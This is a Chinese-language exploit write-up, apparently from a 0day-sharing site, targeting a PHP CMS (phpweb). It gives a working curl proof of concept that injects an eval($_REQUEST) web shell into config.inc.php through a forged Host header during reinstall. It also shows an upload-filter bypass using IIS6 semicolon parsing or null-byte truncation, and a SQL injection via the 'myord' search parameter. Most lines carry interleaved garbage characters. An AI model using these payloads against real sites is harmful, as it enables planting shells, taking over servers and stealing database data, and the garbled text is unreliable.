注入:
( Q7 \& T7 `8 R. B. q3 ^
) |, @: c; Q8 f( T" O' o之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码8 g; H+ p9 G3 G! ^1 v
: h/ ^4 k9 {4 g' U4 p0 O k; j' O" q鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件1 O3 P* U5 j7 P L, X1 u! M9 S, c
鸡肋2: 有一定安全常识的站长都会删掉 install 目录( {1 |1 l- V1 q h
6 E& p0 P5 E) X; J; V, {
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响& w! j+ E0 N+ h/ o2 ?
; p s# {, |9 O' q
分析:
6 l7 D2 T1 v i0 K' s. t8 j" v
: b5 a k5 ?3 \! o4 v U, b # P+ h8 `. j G1 T9 B/ n2 r
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
$ m! _3 z9 Y' g- |
F( f. u( v( k0 I $filestr = fread(fopen($SysConfigFile, 'r'),30000);; ~" X+ G! R/ c! e" m7 o/ A4 @! s( U! }
$filestr=str_replace(" ","",$filestr);, s( ~9 m4 ]: X- ^, ]* R4 C
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
5 d9 [7 u7 Z' w& Q $filestr=str_replace("DefaultDbName",$dbname,$filestr);
6 a4 }% T# e% N8 [/ H: D$ I6 C7 r $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);: d, n! O0 l7 m V- @& `
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);9 [+ t2 o3 M+ `4 p2 U W# U/ c
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
- U9 \4 l3 H4 H' u' l $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
" @" {, d+ ?; q' b6 I& ?0 C$ y) _& {: L $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
8 j5 W ]7 s' F; j I7 M2 v5 D
, T g* a' h3 G fwrite(fopen($ConFile,"w"),$filestr,30000);* v7 `5 u/ L' A5 e
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
: \: J4 c" Z0 O9 P: m
+ s) B# z( |$ H/ s. Q' G( bpoc:
' B, @+ E) b$ b% B# x$ i 5 b6 E) Q8 K& @0 \7 ?
?
5 k' A) r4 J4 r; N1 e$ n1
& a1 S5 e2 l9 ?. r8 Ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"9 r! n, G! \! _ K
shell地址: /config.inc.php0 W4 l1 [3 W" X2 u/ q/ |& z
跟之前的 phpcms一样 需要远程数据库
' w9 R* z/ x& i! ~/ e! b' b3 R
) X7 C" T* N8 Y% t: e" F——————————————————–
7 G: g* Y I$ L) d1 y6 w6 B上传漏洞(需要进后台):
4 ~' q0 y! n4 H) ?3 E漏洞文件: /kedit/upload_cgi/upload.php1 J' c' `( Y d' D6 s
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
1 N/ C( o# G g6 }) x3 Y3 c! P7 U5 ~
; l Y) r2 V- S9 E
* E( b& X) [ i/ h- q& @<?php+ k$ H& k* A9 d7 O: l$ G- C! V, ?
define("ROOTPATH", "../../");
. W2 Q# k( l; n, ~2 J/ H, C include(ROOTPATH."includes/admin.inc.php");6 ^- r; U1 s7 V+ J% g% F9 k. _
NeedAuth(0);
) K2 [2 X. X7 v: N# z5 N% u: r/ U/ A
% @, u. n: k# k0 _% H $dt=date("Ymd",time());
7 w1 ^3 k& W3 S& [. J3 J if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
8 \% j# Z J# {2 S: \3 d5 E! U8 M @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
: G9 o9 @ r9 b }
^/ |- S; |* B. _
- L" J0 Q, E' F9 x& }) `9 @5 P //文件保存目录路径
; v" R6 X2 y, T1 C& G! ?5 z! p $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
4 t4 e! L- e7 n7 S2 u echo $save_path;9 W3 v% H( y1 x% t# m) X' e0 S h7 o
//文件保存目录URL, D. F7 n X+ p; q& A
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
! p O% O% H& y1 y/ D
: Q/ O6 x# ^) b, Z //定义允许上传的文件扩展名
6 H' W; c9 P/ g $ext_arr = array('gif','jpg','png','bmp'); //限制后缀9 M5 n# E) U" y+ ^' p% Y+ o, g
% v* d! H; f, ^" m9 h1 o
//最大文件大小
2 y0 l+ [, x% E0 t8 v $max_size = 1000000;
4 W( E9 @3 N4 I Q+ H0 L; B$ p7 M& d- l8 Y7 c
//更改目录权限
3 K2 F+ n) B0 ^, X. ]: e @mkdir($save_path, 0777);
( @. C* g7 d( e/ _: D. v / i0 X# k0 s9 U8 d' k
//文件的全部路径
+ K$ B c8 W6 t. ? $file_path = $save_path.$_POST['fileName']; //保存文件名/ g# L! i5 c5 n2 I/ w9 q- \( Z9 c3 |& [
4 J( K; E9 E6 X! {# Z# s //文件URL4 X9 u/ V: D7 C! L
$file_url = $save_url.$_POST['fileName'];
' J k" m7 d& v0 _//有上传文件时
' s; s& X) e2 s& D if (empty($_FILES) === false) {/ K6 O5 l+ N, n0 Q7 z
" b& A1 H8 h4 P, K, e1 ?
//原文件名! r+ P2 ^% h2 i# z1 V8 o; b0 L
$file_name = $_FILES['fileData']['name']; q9 P8 k4 F& L) s7 U6 E0 Z
//服务器上临时文件名
- j7 L# w# b4 K9 y/ J5 W7 Q7 k $tmp_name = $_FILES['fileData']['tmp_name'];
/ D5 q: ~" ^0 ^. P, a8 J //文件大小
: w w1 w& l9 F0 V $file_size = $_FILES['fileData']['size'];/ R, [. o. w3 V1 ~2 C- ]
//检查目录' @5 v: k8 `$ p( M$ m6 p" Z% H
if (@is_dir($save_path) === false) {7 p) @% K$ D, m: h, X
alert("上传目录不存在。");, a/ u& k2 V) \* |, M/ [6 a% R
}
) {+ Z" ?$ M, R' [9 Z/ W //检查目录写权限5 z7 ]8 p3 J6 V
if (@is_writable($save_path) === false) { G0 V, u: D/ G- r) N/ o# f
alert("上传目录没有写权限。");
' {7 v1 X: S) _ } h! e! l! e! h! ~* g
//检查是否已上传$ e+ d" W& d; }7 W' r( a; S
if (@is_uploaded_file($tmp_name) === false) {
7 Y/ |6 J) ]" l; E9 `$ b" y+ X8 A alert("临时文件可能不是上传文件。");! l4 f2 C9 J- e" n# V
}
3 P. k1 ]; M& {0 r' v //检查文件大小
7 a" l. v- }" w# G( r; I- i3 x O if ($file_size > $max_size) {: G( [( W2 T( o. i
alert("上传文件大小超过限制。");
/ {) q5 D* c6 C8 U } T- N$ x. }- X& N" ~" a1 Y0 {! m
//获得文件扩展名0 s5 B% g1 {# p5 W+ g7 f9 }
$temp_arr = explode(".", $_POST['fileName']);6 @0 q( Y6 [0 `
$file_ext = array_pop($temp_arr);
$ |- z4 T2 f& m/ } $file_ext = trim($file_ext);5 ?/ e% T8 g5 Y$ X6 G) L0 D/ r
$file_ext = strtolower($file_ext);# U$ D2 U5 a8 V6 H/ S7 S. V9 H
$ \. z- C! X+ w
//检查扩展名 1 U7 ~! f# `( l; c$ K
if (in_array($file_ext, $ext_arr) === false) { 6 r9 x' u8 d/ j7 k4 k+ i
alert("上传文件扩展名是不允许的扩展名。");
$ P2 `2 _. A2 [ y/ w) e9 S# x' G }
4 q& D& P* G2 Z; d 6 P9 E ~2 l+ j# k
//移动文件 D' V% ?/ U; f' w# z p- Q
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^: q- [1 k1 r- C8 p/ A
if (move_uploaded_file($tmp_name, $file_path) === false) {7 i2 F2 [+ a I" y1 ~. _( t
alert("上传文件失败。");, N$ V! r7 A0 ~( s6 F
}
# C& s6 R% W6 b" z, }+ K% V$ s2 K & X, m: z0 S/ w+ x- H( o: l% D* }
@chmod($file_path,0666);
8 \+ @/ n1 }: ?+ q# P& K9 g & W$ o- F. N- G
?>, M' N3 I2 e6 F3 {2 F$ E' _
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227( r4 }' W( z7 ]* U( @
# [ F; j- E7 F* x0 ]9 F; E8 Bapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
' [6 N/ m) K6 L+ R5 O 7 l9 _/ L" D& m& D1 L& a. @8 J
——————————————————3 a' f! T4 ~4 M) i9 k# B
注入漏洞:
9 D8 L% \) |* F漏洞文件:search/module/search.php0 ^ w! F4 I4 I' Z; Y* j
/search/index.php?key=1&myord=1 [sqlinjection]! w* }' Z4 V; f( `: j- R
1 x7 a% e. w+ f) f8 K( \# p
6 Z5 r# J6 W- o0 J' L6 f7 \/ |. J<?php6 I, c8 C1 c" p0 f7 C% P
// ... 省略 n 行...
+ Q( \4 n3 j" ] //第18行:; H' ?" a) c6 o! k+ F; X! M
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响2 i" }9 R( O' s# |3 T0 e
$page=htmlspecialchars($_GET["page"]);- M8 G0 p' {5 k9 x3 P+ L
$myord=htmlspecialchars($_GET["myord"]);# _5 D3 V/ I- Z! W; Z( ^* V
" G$ w; q0 O( L! } j9 }
// ... 省略 n 行..." q L+ l& V1 {: C$ o
$key,$myord 两个参数带入查询8 c1 E" |3 q& r1 A, S, e5 ]7 J/ Y
//第47行 $key:
/ x; R! p# ?6 Z, L
4 s' k: w" \0 h. k p O2 C $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..4 s0 O8 Y w: A2 ]* q- G V- @
9 U7 [( b5 m/ I1 v& ~. H$ {" M //第197行 $myord
" I$ | @8 [, I* n' r6 T: Q- m6 t! j $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入9 a2 C3 s7 X& N7 h! [
( h1 _ D0 R: w0 c! A9 e ?>
6 j. P' t- d$ q: v- t4 ? |